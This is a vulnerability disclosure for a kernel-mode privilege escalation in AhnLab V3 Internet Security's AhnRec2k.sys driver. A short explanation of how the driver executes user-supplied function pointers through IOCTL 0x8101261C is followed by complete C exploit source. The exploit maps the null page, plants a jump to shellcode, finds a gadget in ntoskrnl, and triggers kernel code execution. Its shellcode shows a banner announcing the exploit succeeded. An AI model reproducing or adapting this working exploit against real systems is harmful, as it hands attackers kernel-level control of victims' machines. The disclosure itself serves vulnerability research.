476 lines
No EOL
9.9 KiB
Text
476 lines
No EOL
9.9 KiB
Text
AhnLab V3 Internet Security 8.0 with AhnRec2k.sys <= 1.2.0.4 Local Kernel Mode Privilege Escalation Vulnerability
|
||
|
||
|
||
AUTHOR
|
||
|
||
MJ0011
|
||
|
||
EMAIL
|
||
th_decoder $ 126.com
|
||
|
||
VULNERABLE PRODUCTS
|
||
AhnLab V3 Internet Security <= 8.0.3.28(build 746)
|
||
|
||
DETAILS:
|
||
|
||
AhnRec2k.sys create a device called "AhnRecDrv" , and handles DeviceIoControl Code = 0x8101261C , which execute user input function pointer in kernel mode.
|
||
|
||
Although AhnRec2k.sys did not create any symbolic link for this device and leave this device's interface for internal use , we can still use native function "ZwCreateFile" to open the device and send request to its .
|
||
|
||
AhnRec2k.sys (1.2.0.4) will check if function pointer below
|
||
MmHighestUserAddress, but it also can be exploit
|
||
|
||
EXPLOIT CODE:
|
||
// ahnlab0day.cpp : Defines the entry point for the console application.
|
||
//
|
||
|
||
#include "stdafx.h"
|
||
#include "windows.h"
|
||
typedef LONG NTSTATUS, *PNTSTATUS;
|
||
typedef struct _UNICODE_STRING {
|
||
USHORT Length;
|
||
USHORT MaximumLength;
|
||
PWSTR Buffer;
|
||
} UNICODE_STRING;
|
||
typedef UNICODE_STRING *PUNICODE_STRING;
|
||
typedef const UNICODE_STRING *PCUNICODE_STRING;
|
||
|
||
typedef struct _OBJECT_ATTRIBUTES {
|
||
ULONG Length;
|
||
HANDLE RootDirectory;
|
||
PUNICODE_STRING ObjectName;
|
||
ULONG Attributes;
|
||
PVOID SecurityDescriptor;
|
||
PVOID SecurityQualityOfService;
|
||
} OBJECT_ATTRIBUTES;
|
||
typedef OBJECT_ATTRIBUTES *POBJECT_ATTRIBUTES;
|
||
|
||
typedef struct _IO_STATUS_BLOCK {
|
||
union {
|
||
NTSTATUS Status;
|
||
PVOID Pointer;
|
||
};
|
||
ULONG_PTR Information;
|
||
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;
|
||
typedef NTSTATUS (WINAPI *PNT_CREATE_FILE)(
|
||
PHANDLE FileHandle,
|
||
ACCESS_MASK DesiredAccess,
|
||
POBJECT_ATTRIBUTES ObjectAttributes,
|
||
PIO_STATUS_BLOCK IoStatusBlock,
|
||
PLARGE_INTEGER AllocationSize,
|
||
ULONG FileAttributes,
|
||
ULONG ShareAccess,
|
||
ULONG CreateDisposition,
|
||
ULONG CreateOptions,
|
||
PVOID EaBuffer,
|
||
ULONG EaLength
|
||
);
|
||
|
||
typedef NTSTATUS (WINAPI *PNT_CREATE_SYMBOLIC_LINK) (
|
||
PHANDLE LinkHandle,
|
||
ACCESS_MASK DesiredAccess,
|
||
POBJECT_ATTRIBUTES ObjectAttributes,
|
||
PUNICODE_STRING LinkTarget
|
||
);
|
||
|
||
#define RTL_CONSTANT_STRING(s) { sizeof( s ) - sizeof( (s)[0] ), sizeof( s ), s
|
||
}
|
||
#define RTL_CONST_CAST(type) (type)
|
||
UNICODE_STRING uniname = RTL_CONSTANT_STRING(L"\\Device\\AhnRecDrv");
|
||
#define OBJ_CASE_INSENSITIVE 0x00000040L
|
||
#define RTL_CONSTANT_OBJECT_ATTRIBUTES(n, a) { sizeof(OBJECT_ATTRIBUTES), NULL,
|
||
RTL_CONST_CAST(PUNICODE_STRING)(n), a, NULL, NULL }
|
||
OBJECT_ATTRIBUTES oba = RTL_CONSTANT_OBJECT_ATTRIBUTES(&uniname ,
|
||
OBJ_CASE_INSENSITIVE);
|
||
#define FILE_OPEN 0x00000001
|
||
#define FILE_SYNCHRONOUS_IO_NONALERT 0x00000020
|
||
#include "malloc.h"
|
||
PVOID GetInfoTable(ULONG ATableType)
|
||
{
|
||
ULONG mSize = 0x4000;
|
||
PVOID mPtr = NULL;
|
||
LONG status;
|
||
HMODULE hlib = GetModuleHandle("ntdll.dll");
|
||
PVOID pZwQuerySystemInformation = GetProcAddress(hlib ,
|
||
"ZwQuerySystemInformation");
|
||
do
|
||
{
|
||
mPtr = malloc(mSize);
|
||
if (mPtr)
|
||
{
|
||
__asm
|
||
{
|
||
push 0
|
||
push mSize
|
||
push mPtr
|
||
push ATableType
|
||
call pZwQuerySystemInformation
|
||
mov status , eax
|
||
}
|
||
}
|
||
else
|
||
{
|
||
return NULL;
|
||
}
|
||
if (status == 0xc0000004)
|
||
{
|
||
free(mPtr);
|
||
mSize = mSize * 2;
|
||
}
|
||
} while (status == 0xc0000004);
|
||
if (status == 0)
|
||
{
|
||
return mPtr;
|
||
}
|
||
free(mPtr);
|
||
return NULL;
|
||
}
|
||
enum { SystemModuleInformation = 11,
|
||
SystemHandleInformation = 16 };
|
||
typedef struct {
|
||
ULONG Unknown1;
|
||
ULONG Unknown2;
|
||
PVOID Base;
|
||
ULONG Size;
|
||
ULONG Flags;
|
||
USHORT Index;
|
||
USHORT NameLength;
|
||
USHORT LoadCount;
|
||
USHORT PathLength;
|
||
CHAR ImageName[256];
|
||
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;
|
||
typedef struct {
|
||
ULONG Count;
|
||
SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
|
||
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
|
||
|
||
|
||
typedef VOID (WINAPI *PINBV_ACQUIRE_DISPLAY_OWNERSHIP)(VOID);
|
||
typedef BOOLEAN (WINAPI *PINBV_RESET_DISPLAY)(VOID);
|
||
typedef VOID (WINAPI *PINBV_SOLID_COLOR_FILL)(
|
||
ULONG x1,
|
||
ULONG y1,
|
||
ULONG x2,
|
||
ULONG y2,
|
||
ULONG color
|
||
);
|
||
typedef ULONG (WINAPI *PINBV_SET_TEXT_COLOR)(
|
||
ULONG Color
|
||
);
|
||
typedef
|
||
VOID
|
||
(*INBV_DISPLAY_STRING_FILTER)(
|
||
PUCHAR *Str
|
||
);
|
||
|
||
typedef VOID (WINAPI *PINBV_INSTALL_DISPLAY_STRING_FILTER)(
|
||
INBV_DISPLAY_STRING_FILTER DisplayStringFilter
|
||
);
|
||
typedef BOOLEAN (WINAPI *PINBV_ENABLE_DISPLAY_STRING)(
|
||
BOOLEAN bEnable
|
||
);
|
||
typedef VOID (WINAPI *PINVB_SET_SCROLL_REGION)(
|
||
ULONG x1,
|
||
ULONG y1,
|
||
ULONG x2,
|
||
ULONG y2
|
||
);
|
||
typedef VOID (WINAPI *PINBV_DISPLAY_STRING)(
|
||
PUCHAR Str
|
||
);
|
||
PINBV_ACQUIRE_DISPLAY_OWNERSHIP InbvAcquireDisplayOwnership = 0 ;
|
||
PINBV_RESET_DISPLAY InbvResetDisplay = 0 ;
|
||
PINBV_SOLID_COLOR_FILL InbvSolidColorFill = 0 ;
|
||
PINBV_SET_TEXT_COLOR InbvSetTextColor = 0 ;
|
||
PINBV_INSTALL_DISPLAY_STRING_FILTER InbvInstallDisplayStringFilter = 0 ;
|
||
PINBV_ENABLE_DISPLAY_STRING InbvEnableDisplayString = 0 ;
|
||
PINVB_SET_SCROLL_REGION InbvSetScrollRegion = 0 ;
|
||
PINBV_DISPLAY_STRING InbvDisplayString= 0 ;
|
||
|
||
#define VGA_COLOR_BLACK 0
|
||
#define VGA_COLOR_RED 1
|
||
#define VGA_COLOR_GREEN 2
|
||
#define VGA_COLOR_GR 3
|
||
#define VGA_COLOR_BULE 4
|
||
#define VGA_COLOR_DARK_MEGAENTA 5
|
||
#define VGA_COLOR_TURQUOISE 6
|
||
#define VGA_COLOR_GRAY 7
|
||
#define VGA_COLOR_BRIGHT_GRAY 8
|
||
#define VGA_COLOR_BRIGHT_RED 9
|
||
#define VGA_COLOR_BRIGHT_GREEN 10
|
||
#define VGA_COLOR_BRIGHT_YELLOW 11
|
||
#define VGA_COLOR_BRIGHT_BULE 12
|
||
#define VGA_COLOR_BRIGHT_PURPLE 13
|
||
#define VGA_COLOR_BRIGHT_TURQUOISE 14
|
||
#define VGA_COLOR_WHITE 15
|
||
UCHAR DisplayString[] =
|
||
"
|
||
"
|
||
"
|
||
"
|
||
"
|
||
"
|
||
" ---- ===== EXPLOIT SUCCESSFULLY ==== ----
|
||
"
|
||
"
|
||
"
|
||
"
|
||
"
|
||
" AhnLab V3 Internet Security 8.0 Local Privilege Escalation Exploit
|
||
"
|
||
"
|
||
"
|
||
" VULNERABLE PRODUCT
|
||
"
|
||
"
|
||
"
|
||
" AhnLab V3 Internet Security <= 8.0.3.28
|
||
"
|
||
"
|
||
"
|
||
"
|
||
"
|
||
" VULERABLE FILE
|
||
"
|
||
" AhnRec2k.sys <= 1.2.0.4
|
||
"
|
||
"
|
||
"
|
||
" AUTHOR
|
||
"
|
||
"
|
||
"
|
||
" MJ0011
|
||
"
|
||
" th_decoder$126.com
|
||
"
|
||
"
|
||
"
|
||
" 2010-11-9
|
||
"
|
||
"
|
||
"
|
||
"
|
||
"
|
||
"
|
||
";
|
||
|
||
VOID InbvShellCode()
|
||
{
|
||
//DISABLE INTERRUPT
|
||
|
||
__asm
|
||
{
|
||
cli
|
||
}
|
||
|
||
//RESET TO VGA MODE
|
||
|
||
InbvAcquireDisplayOwnership();
|
||
|
||
InbvResetDisplay();
|
||
|
||
//FILL FULL SCREEN
|
||
|
||
InbvSolidColorFill(0 , 0 , 639 , 479 ,VGA_COLOR_BLACK);
|
||
|
||
//SET TEXT COLOR
|
||
InbvSetTextColor(VGA_COLOR_BRIGHT_GREEN);
|
||
|
||
InbvInstallDisplayStringFilter(NULL);
|
||
|
||
InbvEnableDisplayString(TRUE);
|
||
|
||
InbvSetScrollRegion( 0 , 0 , 639 ,477);
|
||
|
||
InbvDisplayString(DisplayString);
|
||
while(TRUE)
|
||
{
|
||
|
||
};
|
||
|
||
|
||
}
|
||
|
||
BOOL InbvInit(PVOID ntosbase , PSTR ntosname)
|
||
{
|
||
HMODULE hlib = LoadLibrary(ntosname);
|
||
|
||
if (hlib == NULL)
|
||
{
|
||
return FALSE ;
|
||
}
|
||
|
||
InbvAcquireDisplayOwnership =
|
||
(PINBV_ACQUIRE_DISPLAY_OWNERSHIP)((ULONG)GetProcAddress(hlib ,
|
||
"InbvAcquireDisplayOwnership") - (ULONG)hlib + (ULONG)ntosbase);
|
||
InbvResetDisplay = (PINBV_RESET_DISPLAY)((ULONG)GetProcAddress(hlib ,
|
||
"InbvResetDisplay") - (ULONG)hlib + (ULONG)ntosbase);
|
||
InbvSolidColorFill = (PINBV_SOLID_COLOR_FILL)((ULONG)GetProcAddress(hlib ,
|
||
"InbvSolidColorFill") - (ULONG)hlib + (ULONG)ntosbase);
|
||
InbvSetTextColor = (PINBV_SET_TEXT_COLOR)((ULONG)GetProcAddress(hlib ,
|
||
"InbvSetTextColor") - (ULONG)hlib + (ULONG)ntosbase);
|
||
InbvInstallDisplayStringFilter =
|
||
(PINBV_INSTALL_DISPLAY_STRING_FILTER)((ULONG)GetProcAddress(hlib ,
|
||
"InbvInstallDisplayStringFilter") - (ULONG)hlib + (ULONG)ntosbase);
|
||
InbvEnableDisplayString =
|
||
(PINBV_ENABLE_DISPLAY_STRING)((ULONG)GetProcAddress(hlib ,
|
||
"InbvEnableDisplayString") - (ULONG)hlib + (ULONG)ntosbase);
|
||
InbvSetScrollRegion = (PINVB_SET_SCROLL_REGION)((ULONG)GetProcAddress(hlib ,
|
||
"InbvSetScrollRegion") - (ULONG)hlib + (ULONG)ntosbase);
|
||
InbvDisplayString = (PINBV_DISPLAY_STRING)((ULONG)GetProcAddress(hlib ,
|
||
"InbvDisplayString") - (ULONG)hlib + (ULONG)ntosbase);
|
||
|
||
if (InbvAcquireDisplayOwnership &&
|
||
InbvResetDisplay &&
|
||
InbvSolidColorFill &&
|
||
InbvSetTextColor &&
|
||
InbvInstallDisplayStringFilter &&
|
||
InbvEnableDisplayString &&
|
||
InbvSetScrollRegion &&
|
||
InbvDisplayString)
|
||
{
|
||
return TRUE ;
|
||
}
|
||
return FALSE ;
|
||
|
||
}
|
||
|
||
typedef LONG (WINAPI *PNT_ALLOCATE_VIRTUAL_MEMORY)(
|
||
HANDLE ProcessHandle,
|
||
PVOID *BaseAddress,
|
||
ULONG_PTR ZeroBits,
|
||
PSIZE_T RegionSize,
|
||
ULONG AllocationType,
|
||
ULONG Protect
|
||
);
|
||
int main(int argc, char* argv[])
|
||
{
|
||
printf("AhnLab V3 Internet Security <= 8.0.3.28 AhnRec2k.sys <= 1.2.0.4\n"
|
||
"Local Kernel Mode Privilege Escalation Vulnerability POC\n\n"
|
||
"Test On Windows XP SP3\n"
|
||
"by MJ0011 th_decoder$126.com\n"
|
||
"Press Enter....\n"
|
||
);
|
||
getchar();
|
||
|
||
PSYSTEM_MODULE_INFORMATION pinfo =
|
||
(PSYSTEM_MODULE_INFORMATION)GetInfoTable(SystemModuleInformation);
|
||
if (pinfo==0)
|
||
{
|
||
printf("cannot get system info\n");
|
||
return 0 ;
|
||
}
|
||
if (!InbvInit(pinfo->Module[0].Base , strrchr(pinfo->Module[0].ImageName , '\\')
|
||
+ 1))
|
||
{
|
||
printf("cannot init inbv system!\n");
|
||
return 0 ;
|
||
}
|
||
|
||
|
||
HMODULE hlib = LoadLibrary(strrchr(pinfo->Module[0].ImageName , '\\') + 1);
|
||
|
||
if (hlib == 0 )
|
||
{
|
||
printf("cannot load ntoskrnl...\n");
|
||
getchar();
|
||
return 0 ;
|
||
}
|
||
|
||
PVOID pIoStartPacket = GetProcAddress(hlib , "IoStartPacket");
|
||
|
||
|
||
if (pIoStartPacket == NULL)
|
||
{
|
||
printf("IoStartPacket == NULL\n");
|
||
getchar();
|
||
return 0 ;
|
||
}
|
||
|
||
ULONG i ;
|
||
BOOL bFind = FALSE ;
|
||
|
||
for (i = 0 ; i < 0x100 ; i ++)
|
||
{
|
||
if (*(WORD*)(i + (ULONG)pIoStartPacket) == 0x50ff &&
|
||
*(BYTE*)((ULONG)pIoStartPacket + i + 2) == 0x30)
|
||
{
|
||
bFind = TRUE ;
|
||
break ;
|
||
}
|
||
}
|
||
|
||
if (bFind == FALSE)
|
||
{
|
||
printf("cannot find shellcode...\n");
|
||
getchar();
|
||
return 0 ;
|
||
}
|
||
|
||
ULONG pbuf = (ULONG)pIoStartPacket - (ULONG)hlib +
|
||
(ULONG)(pinfo->Module[0].Base) + i ;
|
||
|
||
PNT_ALLOCATE_VIRTUAL_MEMORY NTAllocateVM =
|
||
(PNT_ALLOCATE_VIRTUAL_MEMORY)GetProcAddress(GetModuleHandle("ntdll.dll") ,
|
||
"NtAllocateVirtualMemory");
|
||
|
||
HANDLE hdev ;
|
||
IO_STATUS_BLOCK iosb ;
|
||
NTSTATUS stat ;
|
||
PVOID BaseAddress = (PVOID)0x1 ;
|
||
ULONG dwsize = 0x1000 ;
|
||
LONG status ;
|
||
status = NTAllocateVM
|
||
(
|
||
GetCurrentProcess() ,
|
||
&BaseAddress ,
|
||
0 ,
|
||
&dwsize ,
|
||
MEM_COMMIT | MEM_RESERVE ,
|
||
PAGE_READWRITE
|
||
);
|
||
|
||
|
||
printf("allocate vm at zero %08x\n" , status);
|
||
|
||
memset((PVOID)0x0 , 0x90 , 0x100);
|
||
|
||
*(BYTE*)0x50 = 0xe9 ;
|
||
*(DWORD*)0x51 = (ULONG)InbvShellCode - 0x50 - 5 ;
|
||
|
||
PNT_CREATE_FILE pfunc =
|
||
(PNT_CREATE_FILE)GetProcAddress(GetModuleHandle("ntdll.dll") , "ZwCreateFile");
|
||
|
||
|
||
stat = pfunc(&hdev ,
|
||
FILE_READ_ATTRIBUTES | SYNCHRONIZE ,
|
||
&oba ,
|
||
&iosb,
|
||
0 ,
|
||
0 ,
|
||
FILE_SHARE_READ ,
|
||
FILE_OPEN ,
|
||
FILE_SYNCHRONOUS_IO_NONALERT ,
|
||
0 ,
|
||
0 );
|
||
|
||
|
||
|
||
if (stat != 0 )
|
||
{
|
||
printf("cannot open dev %08x\n", stat);
|
||
return 0 ;
|
||
}
|
||
|
||
|
||
ULONG btr ;
|
||
|
||
if (!DeviceIoControl(hdev , 0x8101261C , &pbuf , sizeof(ULONG) , 0 ,0 , &btr , 0
|
||
))
|
||
{
|
||
printf("cannot dev ctl %u\n",GetLastError());
|
||
return 0 ;
|
||
}
|
||
return 0;
|
||
} |